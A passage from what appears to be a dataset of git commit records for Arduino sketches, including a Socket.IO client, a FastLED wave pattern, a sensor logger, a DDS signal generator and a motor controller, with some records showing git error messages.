Serial\n\n\nvoid socketIOEvent(socketIOmessageType_t type, uint8_t * payload, size_t length) {\n switch(type) {\n case sIOtype_DISCONNECT:\n USE_SERIAL.printf(\"[IOc] Disconnected!\\n\");\n break;\n case sIOtype_CONNECT:\n USE_SERIAL.printf(\"[IOc] Connected to url: %s\\n\", payload);\n break;\n case sIOtype_EVENT:\n {\n char * sptr = NULL;\n int id = strtol((char *)payload, &sptr, 10);\n USE_SERIAL.printf(\"[IOc] get event: %s id: %d\\n\", payload, id);\n if(id) {\n payload = (uint8_t *)sptr;\n }\n DynamicJsonDocument doc(1024);\n DeserializationError error = deserializeJson(doc, payload, length);\n if(error) {\n USE_SERIAL.print(F(\"deserializeJson() failed: \"));\n USE_SERIAL.println(error.c_str());\n return;\n }\n \n String eventName = doc[0];\n USE_SERIAL.printf(\"[IOc] event name: %s\\n\", eventName.c_str());\n\n \/\/ Message Includes a ID for a ACK (callback)\n if(id) {\n \/\/ creat JSON message for Socket.IO (ack)\n DynamicJsonDocument docOut(1024);\n JsonArray array = docOut.to<JsonArray>();\n \n \/\/ add payload (parameters) for the ack (callback function)\n JsonObject param1 = array.createNestedObject();\n param1[\"now\"] = millis();\n\n \/\/ JSON to String (serializion)\n String output;\n output += id;\n serializeJson(docOut, output);\n\n \/\/ Send event \n socketIO.send(sIOtype_ACK, output);\n }\n }\n break;\n case sIOtype_ACK:\n USE_SERIAL.printf(\"[IOc] get ack: %u\\n\", length);\n hexdump(payload, length);\n break;\n case sIOtype_ERROR:\n USE_SERIAL.printf(\"[IOc] get error: %u\\n\", length);\n hexdump(payload, length);\n break;\n case sIOtype_BINARY_EVENT:\n USE_SERIAL.printf(\"[IOc] get binary: %u\\n\", length);\n hexdump(payload, length);\n break;\n case sIOtype_BINARY_ACK:\n USE_SERIAL.printf(\"[IOc] get binary ack: %u\\n\", length);\n hexdump(payload, length);\n break;\n }\n}\n\nvoid setup() {\n \/\/USE_SERIAL.begin(921600);\n USE_SERIAL.begin(115200);\n\n \/\/Serial.setDebugOutput(true);\n USE_SERIAL.setDebugOutput(true);\n\n USE_SERIAL.println();\n USE_SERIAL.println();\n USE_SERIAL.println();\n\n for(uint8_t t = 4; t > 0; t--) {\n USE_SERIAL.printf(\"[SETUP] BOOT WAIT %d...\\n\", t);\n USE_SERIAL.flush();\n delay(1000);\n }\n\n \/\/ disable AP\n if(WiFi.getMode() & WIFI_AP) {\n WiFi.softAPdisconnect(true);\n }\n\n WiFiMulti.addAP(\"SSID\", \"passpasspass\");\n\n \/\/WiFi.disconnect();\n while(WiFiMulti.run() != WL_CONNECTED) {\n delay(100);\n }\n\n String ip = WiFi.localIP().toString();\n USE_SERIAL.printf(\"[SETUP] WiFi Connected %s\\n\", ip.c_str());\n\n \/\/ server address, port and URL\n socketIO.begin(\"10.11.100.100\", 8880);\n\n \/\/ event handler\n socketIO.onEvent(socketIOEvent);\n}\n\nunsigned long messageTimestamp = 0;\nvoid loop() {\n socketIO.loop();\n\n uint64_t now = millis();\n\n if(now - messageTimestamp > 2000) {\n messageTimestamp = now;\n\n \/\/ creat JSON message for Socket.IO (event)\n DynamicJsonDocument doc(1024);\n JsonArray array = doc.to<JsonArray>();\n \n \/\/ add evnet name\n \/\/ Hint: socket.on('event_name', ....\n array.add(\"event_name\");\n\n \/\/ add payload (parameters) for the event\n JsonObject param1 = array.createNestedObject();\n param1[\"now\"] = now;\n\n \/\/ JSON to String (serializion)\n String output;\n serializeJson(doc, output);\n\n \/\/ Send event \n socketIO.sendEVENT(output);\n\n \/\/ Print JSON for debugging\n USE_SERIAL.println(output);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/esp8266\/WebSocketClientSocketIOack\/WebSocketClientSocketIOack.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"b7e466d297657bd5e63328879495364c56a7a457","subject":"Create periodic_Pacifica.ino","message":"Create periodic_Pacifica.ino","repos":"marmilicious\/FastLED_examples","old_file":"periodic_Pacifica.ino","new_file":"periodic_Pacifica.ino","new_contents":"\/\/***************************************************************\n\/\/ This example shows one way to run a pattern for roughly a few\n\/\/ minutes, every 10 minutes, and then turn it off and wait\n\/\/ another 10 minutes. Global brightness was used to fade the\n\/\/ display in and out to make things a bit smoother.\n\/\/\n\/\/ It it not very time accurate since it uses millis and does\n\/\/ not account for the fade in\/out time. Use a RTC (real time\n\/\/ clock) if accurate and specific clock times are needed, such\n\/\/ as the DS3231. https:\/\/www.adafruit.com\/product\/3013\n\/\/\n\/\/ EVERY_N_SECONDS can be replaced with EVERY_N_MINUTES \n\/\/ or EVERY_N_HOURS as needed for the \"wait\" and \"run\" time\n\/\/ sections.\n\/\/\n\/\/\n\/\/ This example runs a slightly modified version of the Pacifica\n\/\/ pattern by Mark Kriegsman. Please see original code here:\n\/\/ https:\/\/github.com\/FastLED\/FastLED\/blob\/master\/examples\/Pacifica\/Pacifica.ino\n\/\/\n\/\/\n\/\/ Marc Miller, May 2020\n\/\/***************************************************************\n\n\n#include \"FastLED.h\"\n#define LED_TYPE LPD8806\n#define DATA_PIN 11\n#define CLOCK_PIN 13\n#define COLOR_ORDER GRB\n#define NUM_LEDS 32\nCRGB leds[NUM_LEDS];\n\nuint8_t patternState = 1; \/\/ 0=waiting, 1=fadeUp, 2=running, 3=fadeDown\nuint8_t brightness = 0;\nunsigned long startTime;\nunsigned long currentTime;\n\n\n\/\/---------------------------------------------------------------\nvoid setup() {\n Serial.begin(115200); \/\/ Allows serial monitor output (check baud rate)\n delay( 2000); \/\/ 2 second delay for boot recovery, and a moment of silence\n FastLED.addLeds<LED_TYPE,DATA_PIN,CLOCK_PIN,COLOR_ORDER>(leds, NUM_LEDS)\n .setCorrection( TypicalLEDStrip );\n FastLED.setMaxPowerInVoltsAndMilliamps( 5, 2000);\n FastLED.setBrightness(brightness);\n FastLED.clear();\n FastLED.show();\n Serial.println(\"Setup done. \\n\");\n}\n \n\n\/\/---------------------------------------------------------------\nvoid loop() {\n\n EVERY_N_MINUTES(10) {\n patternState = 1; \/\/ Time to start running the pattern\n Serial.println(\" Time to FadeUp...\");\n }\n\n if (patternState == 1) {\n \/\/fadeIn\n EVERY_N_MILLISECONDS(60) {\n brightness = brightness + 1;\n if (brightness == 255) {\n patternState = 2; \/\/ time to run pattern for a bit\n startTime = millis();\n Serial.println(\" FadeUp complete.\\n Running...\");\n }\n FastLED.setBrightness(brightness);\n }\n }\n\n if (patternState == 2) {\n \/\/ run the pattern\n \/\/ 1 min * 60sec\/min * 1000ms\/sec = 60000 ms\n const uint32_t runTime = 60000; \/\/ number of ms to run pattern\n currentTime = millis();\n if ( (currentTime - startTime) > runTime ) {\n patternState = 3; \/\/ time to fade out\n Serial.println(\" Time to FadeDown...\");\n }\n }\n\n if (patternState == 3) {\n \/\/ fadeOut\n EVERY_N_MILLISECONDS(120) {\n brightness = brightness - 1;\n if (brightness == 0) {\n Serial.println(\" FadeDown complete.\\n Waiting...\");\n patternState = 0; \/\/ back to waiting state\n FastLED.clear();\n FastLED.show();\n }\n FastLED.setBrightness(brightness);\n } \n }\n \n if (patternState > 0) {\n \/\/ run the pattern\n EVERY_N_MILLISECONDS( 20) {\n pacifica_loop();\n FastLED.show();\n }\n }\n\n EVERY_N_MINUTES(1) {\n if (patternState == 0) {\n Serial.println(\" Waiting...\");\n }\n }\n \n} \/\/end_main_loop\n\n\n\n\n\/\/---------------------------------------------------------------\n\/\/ Please see original Pacifica code by Mark Kriegsman here:\n\/\/ https:\/\/github.com\/FastLED\/FastLED\/blob\/master\/examples\/Pacifica\/Pacifica.ino\n\nCRGBPalette16 pacifica_palette_1 = \n { 0x000507, 0x000409, 0x00030B, 0x00030D, 0x000210, 0x000212, 0x000114, 0x000117, \n 0x000019, 0x00001C, 0x000026, 0x000031, 0x00003B, 0x000046, 0x14554B, 0x28AA50 };\nCRGBPalette16 pacifica_palette_2 = \n { 0x000507, 0x000409, 0x00030B, 0x00030D, 0x000210, 0x000212, 0x000114, 0x000117, \n 0x000019, 0x00001C, 0x000026, 0x000031, 0x00003B, 0x000046, 0x0C5F52, 0x19BE5F };\nCRGBPalette16 pacifica_palette_3 = \n { 0x000208, 0x00030E, 0x000514, 0x00061A, 0x000820, 0x000927, 0x000B2D, 0x000C33, \n 0x000E39, 0x001040, 0x001450, 0x001860, 0x001C70, 0x002080, 0x1040BF, 0x2060FF };\n\nvoid pacifica_loop()\n{\n \/\/ Increment the four \"color index start\" counters, one for each wave layer.\n \/\/ Each is incremented at a different speed, and the speeds vary over time.\n static uint16_t sCIStart1, sCIStart2, sCIStart3, sCIStart4;\n static uint32_t sLastms = 0;\n uint32_t ms = GET_MILLIS();\n uint32_t deltams = ms - sLastms;\n sLastms = ms;\n uint16_t speedfactor1 = beatsin16(3, 179, 269);\n uint16_t speedfactor2 = beatsin16(4, 179, 269);\n uint32_t deltams1 = (deltams * speedfactor1) \/ 256;\n uint32_t deltams2 = (deltams * speedfactor2) \/ 256;\n uint32_t deltams21 = (deltams1 + deltams2) \/ 2;\n sCIStart1 += (deltams1 * beatsin88(1011,10,13));\n sCIStart2 -= (deltams21 * beatsin88(777,8,11));\n sCIStart3 -= (deltams1 * beatsin88(501,5,7));\n sCIStart4 -= (deltams2 * beatsin88(257,4,6));\n\n \/\/ Clear out the LED array to a dim background blue-green\n fill_solid( leds, NUM_LEDS, CRGB( 2, 6, 10));\n\n \/\/ Render each of four layers, with different scales and speeds, that vary over time\n pacifica_one_layer( pacifica_palette_1, sCIStart1, beatsin16( 3, 11 * 256, 14 * 256), beatsin8( 10, 70, 130), 0-beat16( 301) );\n pacifica_one_layer( pacifica_palette_2, sCIStart2, beatsin16( 4, 6 * 256, 9 * 256), beatsin8( 17, 40, 80), beat16( 401) );\n pacifica_one_layer( pacifica_palette_3, sCIStart3, 6 * 256, beatsin8( 9, 10,38), 0-beat16(503));\n pacifica_one_layer( pacifica_palette_3, sCIStart4, 5 * 256, beatsin8( 8, 10,28), beat16(601));\n\n \/\/ Add brighter 'whitecaps' where the waves lines up more\n pacifica_add_whitecaps();\n\n \/\/ Deepen the blues and greens a bit\n pacifica_deepen_colors();\n}\n\n\/\/ Add one layer of waves into the led array\nvoid pacifica_one_layer( CRGBPalette16& p, uint16_t cistart, uint16_t wavescale, uint8_t bri, uint16_t ioff)\n{\n uint16_t ci = cistart;\n uint16_t waveangle = ioff;\n uint16_t wavescale_half = (wavescale \/ 2) + 20;\n for( uint16_t i = 0; i < NUM_LEDS; i++) {\n waveangle += 250;\n uint16_t s16 = sin16( waveangle ) + 32768;\n uint16_t cs = scale16( s16 , wavescale_half ) + wavescale_half;\n ci += cs;\n uint16_t sindex16 = sin16( ci) + 32768;\n uint8_t sindex8 = scale16( sindex16, 240);\n CRGB c = ColorFromPalette( p, sindex8, bri, LINEARBLEND);\n leds[i] += c;\n }\n}\n\n\/\/ Add extra 'white' to areas where the four layers of light have lined up brightly\nvoid pacifica_add_whitecaps()\n{\n uint8_t basethreshold = beatsin8( 9, 55, 65);\n uint8_t wave = beat8( 7 );\n \n for( uint16_t i = 0; i < NUM_LEDS; i++) {\n uint8_t threshold = scale8( sin8( wave), 20) + basethreshold;\n wave += 7;\n uint8_t l = leds[i].getAverageLight();\n if( l > threshold) {\n uint8_t overage = l - threshold;\n uint8_t overage2 = qadd8( overage, overage);\n leds[i] += CRGB( overage, overage2, qadd8( overage2, overage2));\n }\n }\n}\n\n\/\/ Deepen the blues and greens\nvoid pacifica_deepen_colors()\n{\n for( uint16_t i = 0; i < NUM_LEDS; i++) {\n leds[i].blue = scale8( leds[i].blue, 145); \n leds[i].green= scale8( leds[i].green, 200); \n leds[i] |= CRGB( 2, 5, 7);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'periodic_Pacifica.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"52463ebe8972b95ac775c0c2f8ca0ad0204442e0","subject":"Testing a PWM detector ISR","message":"Testing a PWM detector ISR\n","repos":"MakerLabsVan\/ACM,MakerLabsVan\/ACM,MakerLabsVan\/ACM,MakerLabsVan\/ACM","old_file":"unit tests\/pwm_detector_test\/pwm_detector_test.ino","new_file":"unit tests\/pwm_detector_test\/pwm_detector_test.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'unit' did not match any file(s) known to git\nerror: pathspec 'tests\/pwm_detector_test\/pwm_detector_test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e6cf01d5e12a6c4a7c563aa2a31e5feb54f879b0","subject":"Add sketch that test ultrasonic readings on sensor platform","message":"Add sketch that test ultrasonic readings on sensor platform\n","repos":"UAA-EQLNES\/ARTF-Field-Sensors","old_file":"ARTF_Sensors\/examples\/LowPowerUltrasonicWithSD\/LowPowerUltrasonicWithSD.ino","new_file":"ARTF_Sensors\/examples\/LowPowerUltrasonicWithSD\/LowPowerUltrasonicWithSD.ino","new_contents":"\/*\n Test Ultrasonic sensor readings on sensor platform\n\n This sketch is designed to test the accuracy of the Ultrasonic\n sensor with the battery pack and circuit of the sensor platform.\n\n This sketch takes 5 readings and averages them to\n help verify similar calculations used in BridgeSensorGSM\n sketch. The results are written to the SD card\n\n Created 10 7 2014\n Modified 10 7 2014\n*\/\n#include <LowPower.h>\n\n#include <ARTF_SDCard.h>\n\n\/\/ ARTF SDCard Dependency\n#include <SdFat.h>\n#include <String.h>\n\n\n\/\/ Ultrasonic Settings\nconst byte ULTRASONIC_PIN = A6;\nconst int DISTANCE_INCREMENT = 5;\nconst int NUM_READINGS = 5;\n\n\/\/ SD Card Settings\nconst byte SD_CS_PIN = 10;\n#define OUTPUT_FILENAME \"ultra.txt\"\n\n\nARTF_SDCard sd(SD_CS_PIN);\n\nvoid setup()\n{\n Serial.begin(9600);\n pinMode(SD_CS_PIN, OUTPUT);\n}\n\nint count = 1;\nvoid loop()\n{\n\n LowPower.powerDown(SLEEP_8S, ADC_OFF, BOD_OFF);\n\n String output = \"\";\n\n output += \"Trial \" + String(count) + \"\\n\";\n output += \"-------------------\\n\";\n\n \/\/ Take X readings\n int distanceReadings[NUM_READINGS];\n for (int i = 0; i < NUM_READINGS; ++i)\n {\n int reading = analogRead(ULTRASONIC_PIN);\n distanceReadings[i] = reading * DISTANCE_INCREMENT;\n\n output += String(i) + \". Analog:\" + String(reading) + \"; Calculated:\" + String(distanceReadings[i]) + \"\\n\";\n\n delay(300);\n }\n\n \/\/ Average the readings\n double sumDistance = 0.0;\n for (int i = 0; i < NUM_READINGS; ++i)\n {\n sumDistance += distanceReadings[i];\n }\n double avgDistance = sumDistance \/ NUM_READINGS;\n\n \/\/ Rounded measurements\n int roundedDistance = round(avgDistance);\n\n output += \"Rounded:\" + String(roundedDistance) + \"\\n\\n\";\n\n sd.begin();\n sd.writeFile(OUTPUT_FILENAME, output);\n\n delay(500);\n count += 1;\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'ARTF_Sensors\/examples\/LowPowerUltrasonicWithSD\/LowPowerUltrasonicWithSD.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"fc68e5dae3b19fa30493fe127a4134130aa327cc","subject":"add vfo sketch","message":"add vfo sketch\n","repos":"dhakajack\/ad9850vfo","old_file":"vfobox.ino","new_file":"vfobox.ino","new_contents":"\/*\n\nDDS code based on Pete Juliano's super simple DDS code\nhttp:\/\/www.jessystems.com\/Images\/Arduino\/AD9850_Signal_Generator.txt\n\nRotary Encoder code based on my ATmega328 port\nhttp:\/\/blog.templaro.com\/reading-a-rotary-encoder-demo-code-for-atmega328\/\nof Oleg Mazurov's code written for ATmega644p\nhttps:\/\/www.circuitsathome.com\/mcu\/rotary-encoder-interrupt-service-routine-for-avr-micros\n\n \n The circuit:\n * 5V to Arduino 5V pin\n * GND to Arduino GND pin\n \n * CLK to digital #4\n * FQ to digital #5\n * DAT to digital #6\n * RST to digital #7\n \n * Rotary Encoder left tab to digital #3\n * Rotary Encoder right tab to digital #2\n * Rotary Encoder middle tab to ground\n * Rotary Switch to digital #1\n \n*\/\n\n\/\/ include the library code:\n#include \"Wire.h\"\n#include \"Adafruit_LiquidCrystal.h\"\n\n\/\/ set rotary encoder pins\n#define ENC_RD\tPIND\t\/\/encoder port read\n#define RotEncSwPin 1 \/\/ digital pin 4\n#define A_PIN 2 \/\/ INT0 vector; digital pin 2\n#define B_PIN 3 \/\/ INT1 vector; digital pin 3\n\n\/\/ set up AD9850 pins\n#define W_CLK 4\n#define FQ_UD 5\n#define DATAPIN 6\n#define RESET 7\n\nconst double bandStart = 100000; \/\/ start of Gnerator at 100 KHZ\nconst double bandEnd = 40000000; \/\/ End of Generator at 40 MHz --signal will be a bit flaky!\nconst double bandInit = 7150000; \/\/ where to initially set the frequency for tetsting Part II\n\ndouble freq = bandInit ; \/\/ this is a variable (changes) - set it to the beginning of the band\ndouble freqDelta = 10000; \/\/ how much to change the frequency by, clicking the rotary encoder will change this.\n\nbyte counter = 0;\nlong lastClick = 0;\nlong lastBlink = 0;\nboolean blinkState = false;\n\n\/\/ Connect via i2c, default address #1 (nothing jumpered)\nAdafruit_LiquidCrystal lcd(0);\n\nvoid setup() {\n lcd.begin(16,2);\n lcd.setCursor(0,1); \/\/ This places a display on the LCD at turn on at the 2nd line\n lcd.print(\" 5R8SV Sig Gen \"); \/\/Any LCD message can be place here. Just make sure there are 16 spaces between the \"\" marks\n \n \/\/ Set up DDS\n pinMode(FQ_UD, OUTPUT);\n pinMode(W_CLK, OUTPUT);\n pinMode(DATAPIN, OUTPUT);\n pinMode(RESET, OUTPUT);\n \n \/\/ Set up Rotary Encoder\n pinMode(A_PIN, INPUT_PULLUP);\n pinMode(B_PIN, INPUT_PULLUP);\n attachInterrupt(0, evaluateRotary, CHANGE);\n attachInterrupt(1, evaluateRotary, CHANGE);\n pinMode(RotEncSwPin, INPUT_PULLUP);\n \n \/\/ start up the DDS... \n pulseHigh(RESET);\n pulseHigh(W_CLK);\n pulseHigh(FQ_UD); \n \/\/ start the oscillator...\n send_frequency(freq); \n display_frequency(freq);\n}\n\nvoid loop() {\n int freqCursorPosition = 4;\n \n \/\/ change freq dependent on rotary encoder spin direction\n if(counter != 0) {\n if (counter == 1) {\n freq=constrain(freq-freqDelta,bandStart,bandEnd);\n } else {\n freq=constrain(freq+freqDelta,bandStart,bandEnd);\n }\n counter = 0;\n display_frequency(freq); \/\/ push the frequency to LCD display\n send_frequency(freq); \/\/ set the DDS to the new frequency \n }\n \n \/\/ check for the click of the rotary encoder \n if (!digitalRead(RotEncSwPin) && millis() - lastClick > 200) { \/\/ push button debounce\n \/\/ if user clicks rotary encoder, change the size of the increment\n if (freqDelta == 10) {\n freqDelta = 1000000;\n } else {\n freqDelta \/= 10;\n }\n lastClick = millis();\n }\n \n \/\/blink the cursor to show selected frequency resolution\n if (millis() - lastBlink > 300) {\n freqCursorPosition = 8;\n for (long tempDelta = 10; tempDelta\/freqDelta != 1; tempDelta *= 10) {\n freqCursorPosition--;\n if (freqCursorPosition == 2 || freqCursorPosition == 6) { \/\/hop the punctuation\n freqCursorPosition--;\n }\n }\n lcd.setCursor(freqCursorPosition,0);\n if(blinkState) {\n lcd.noBlink();\n } else {\n lcd.blink();\n }\n blinkState = !blinkState;\n lastBlink = millis();\n }\n \n}\n\n\/\/ subroutine to display the frequency...\nvoid display_frequency(double frequency) { \n int currentCursor;\n byte currentDigit;\n \n lcd.noBlink(); \/\/ suppress blinking after printing Mhz\n currentCursor = 0;\n for (long freqDiv = 10000000; freqDiv > 1; freqDiv \/=10) {\n currentDigit = ((long(freq)\/freqDiv)%10);\n if (currentCursor == 2) {\n lcd.setCursor(currentCursor,0);\n lcd.print(\".\");\n currentCursor++; \n } else if (currentCursor == 6) {\n lcd.setCursor(currentCursor,0);\n lcd.print(\",\");\n currentCursor++;\n } \n lcd.setCursor(currentCursor,0);\n if (currentCursor == 0 && currentDigit == 0) {\n lcd.print(\" \");\n } else {\n lcd.print(currentDigit);\n }\n currentCursor++;\n } \n lcd.print(\"0 MHz\");\n} \n\n\/\/ Subroutine to generate a positive pulse on 'pin'...\nvoid pulseHigh(int pin) {\n digitalWrite(pin, HIGH); \n digitalWrite(pin, LOW); \n}\n\n\/\/ calculate and send frequency code to DDS Module...\nvoid send_frequency(double frequency) {\n int32_t freq = (frequency) * 4294967295\/124997797;\n for (int b=0; b<4; b++, freq>>=8) {\n shiftOut(DATAPIN, W_CLK, LSBFIRST, freq & 0xFF);\n } \n shiftOut(DATAPIN, W_CLK, LSBFIRST, 0x00); \n pulseHigh(FQ_UD); \n}\n\nvoid evaluateRotary() {\n\/* encoder routine. Expects encoder with four state changes between detents *\/\n\/* and both pins open on detent *\/\n\n static uint8_t old_AB = 3; \/\/lookup table index\n static int8_t encval = 0; \/\/encoder value \n static const int8_t enc_states [] PROGMEM = \n {0,-1,1,0,1,0,0,-1,-1,0,0,1,0,1,-1,0}; \/\/encoder lookup table\n \/**\/\n old_AB <<=2; \/\/remember previous state\n old_AB |= (( ENC_RD >>2 ) & 0x03 );\n encval += pgm_read_byte(&(enc_states[( old_AB & 0x0f )]));\n \n if( encval > 3 ) { \/\/four steps forward\n counter = 1;\n encval = 0;\n }\n else if( encval < -3 ) { \/\/four steps backwards\n counter = 2;\n encval = 0;\n } \n}\n","old_contents":"","returncode":128,"stderr":"fatal: invalid reference: FETCH_HEAD^\n","license":"mit","lang":"Arduino"} {"commit":"718e6a1c0a6872accc42058f88c0f2775406aebd","subject":"Update pt_remote controlled car.ino","message":"Update pt_remote controlled car.ino","repos":"billhhh\/bill_ProtoThreads_arduino,billhhh\/bill_ProtoThreads_arduino,billhhh\/bill_ProtoThreads_arduino","old_file":"pt_remote controlled car\/pt_remote controlled car.ino","new_file":"pt_remote controlled car\/pt_remote controlled car.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'pt_remote' did not match any file(s) known to git\nerror: pathspec 'controlled' did not match any file(s) known to git\nerror: pathspec 'car\/pt_remote' did not match any file(s) known to git\nerror: pathspec 'controlled' did not match any file(s) known to git\nerror: pathspec 'car.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"0380197cee97b366403566f894ab67232928d0d7","subject":"sleepy dog demo","message":"sleepy dog demo\n","repos":"ponty\/arduino-sketchbook,ponty\/arduino-sketchbook,ponty\/arduino-sketchbook,ponty\/arduino-sketchbook,ponty\/arduino-sketchbook,ponty\/arduino-sketchbook,ponty\/arduino-sketchbook","old_file":"Sleep\/Sleep.ino","new_file":"Sleep\/Sleep.ino","new_contents":"\/\/ Adafruit Watchdog Library Sleep Example\n\/\/\n\/\/ Simple example of how to do low power sleep with the watchdog timer.\n\/\/\n\/\/ Author: Tony DiCola\n\n#include <Adafruit_SleepyDog.h>\n\nvoid setup() {\n Serial.begin(115200);\n while (!Serial) ; \/\/ wait for Arduino Serial Monitor (native USB boards)\n Serial.println(\"Adafruit Watchdog Library Sleep Demo!\");\n Serial.println();\n}\n\nvoid loop() {\n Serial.println(\"delay\");\n delay(2000);\n \n \/\/Serial.println(\"sleep\");\n int sleepMS = Watchdog.sleep(2000);\n\n Serial.print(\"I'm awake now! I slept for \");\n Serial.print(sleepMS, DEC);\n Serial.println(\" milliseconds.\");\n Serial.println();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Sleep\/Sleep.ino' did not match any file(s) known to git\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"87c66d227a4db1d0ba3a1eea86b381ec4b921014","subject":"Added Arduino sketch","message":"Added Arduino sketch\n\nAdded .ino file for leapdrone-serial-to-ppm\n","repos":"davidmichaelhuber\/leapdrone","old_file":"leapdrone-serial-to-ppm\/serial_to_5_channel_ppm\/serial_to_5_channel_ppm.ino","new_file":"leapdrone-serial-to-ppm\/serial_to_5_channel_ppm\/serial_to_5_channel_ppm.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/davidmichaelhuber\/leapdrone.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"0a8912b61518470dd7d0f1c2ef42948e906cebbc","subject":"1. update readme.md 2. add motor control and speed detect arduino code","message":"1. update readme.md 2. add motor control and speed detect arduino code\n","repos":"Adlink-ROS\/adlink_ddsbot,Adlink-ROS\/adlink_ddsbot","old_file":"document\/arduino\/adlink_ddsbot_motor\/motor_control.ino","new_file":"document\/arduino\/adlink_ddsbot_motor\/motor_control.ino","new_contents":"\/*\nCopyright 2017 ADLINK Technology Inc.\nDeveloper: Chester, Tseng\nEmail: chester.tseng@adlinktech.com\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*\/\n#include <ArduinoJson.h>\n#include <MsTimer2.h>\n\nconst int out1_pin = 5;\nconst int out2_pin = 6;\nconst int out3_pin = 9;\nconst int out4_pin = 10;\nconst int decoder_pin_1 = 2;\nconst int decoder_pin_2 = 3;\nvolatile int decoder_pin_1_counter = 0;\nvolatile int decoder_pin_2_counter = 0;\n\nvolatile int decoder_pin_1_delay_counter = 0;\nvolatile int decoder_pin_2_delay_counter = 0;\n\n\/\/ Report internal;\nconst int report_period = 100;\n\n\nvoid setup() {\n \/\/ Set 4 pwm channel pin to output\n pinMode(out1_pin, OUTPUT);\n pinMode(out2_pin, OUTPUT);\n pinMode(out3_pin, OUTPUT);\n pinMode(out4_pin, OUTPUT);\n\n \/\/ Set 4 PWM channel pin to duty cycle: 0\n analogWrite(out1_pin, 0);\n analogWrite(out2_pin, 0);\n analogWrite(out3_pin, 0);\n analogWrite(out4_pin, 0);\n\n \/\/ Start serial port\n Serial.begin(115200);\n while (!Serial) {\n }\n \n \/\/ Set 2 external interrupt pin to input and attach it's ISR\n pinMode(decoder_pin_1, INPUT);\n pinMode(decoder_pin_2, INPUT);\n attachInterrupt(digitalPinToInterrupt(decoder_pin_1), decoder_1_isr, FALLING);\n attachInterrupt(digitalPinToInterrupt(decoder_pin_2), decoder_2_isr, FALLING);\n\n \/\/ Start timer for reporting wheel speed\n MsTimer2::set(report_period, report_decoder_result_isr); \/\/ 100ms period\n MsTimer2::start();\n}\n\nvoid loop() {\n DynamicJsonBuffer jsonBuffer;\n if (Serial.available()) {\n String commad_string = Serial.readString();\n JsonObject& root = jsonBuffer.parseObject(commad_string);\n \/\/Serial.println(commad_string);\n String out_1 = root[\"out_1\"];\n String out_2 = root[\"out_2\"];\n String out_3 = root[\"out_3\"];\n String out_4 = root[\"out_4\"];\n if (out_1 != NULL) {\n int out1_value = root[\"out_1\"];\n analogWrite(out1_pin, out1_value);\n \/\/Serial.println(out1_value);\n }\n if (out_2 != NULL) {\n int out2_value = root[\"out_2\"];\n analogWrite(out2_pin, out2_value);\n \/\/Serial.println(out2_value);\n }\n if (out_3 != NULL) {\n int out3_value = root[\"out_3\"];\n analogWrite(out3_pin, out3_value);\n \/\/Serial.println(out3_value);\n }\n if (out_4 != NULL) {\n int out4_value = root[\"out_4\"];\n analogWrite(out4_pin, out4_value);\n \/\/Serial.println(out4_value);\n }\n }\n}\n\nvoid decoder_1_isr() {\n decoder_pin_1_counter += 1;\n}\n\nvoid decoder_2_isr() {\n decoder_pin_2_counter += 1;\n}\n\nvoid report_decoder_result_isr() {\n \/\/ This is a workaround to prevent from motor idle when speed = 0;\n if ((decoder_pin_1_counter == 0) && (decoder_pin_1_delay_counter > 10)) {\n analogWrite(out1_pin, 0);\n analogWrite(out2_pin, 0);\n decoder_pin_1_delay_counter = 0;\n }\n \n if ((decoder_pin_2_counter == 0) && (decoder_pin_2_delay_counter > 10)) {\n analogWrite(out3_pin, 0);\n analogWrite(out4_pin, 0);\n decoder_pin_2_delay_counter = 0;\n }\n \n char str[16];\n sprintf(str, \"%d,%d\\r\\n\", decoder_pin_1_counter, decoder_pin_2_counter);\n Serial.print(str);\n decoder_pin_1_counter = 0;\n decoder_pin_2_counter = 0;\n\n decoder_pin_1_delay_counter += 1;\n decoder_pin_2_delay_counter += 1;\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'document\/arduino\/adlink_ddsbot_motor\/motor_control.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"2752b408b86815cf463a21c9f78413719c192069","subject":"Fixed EsploraKart example.........","message":"Fixed EsploraKart 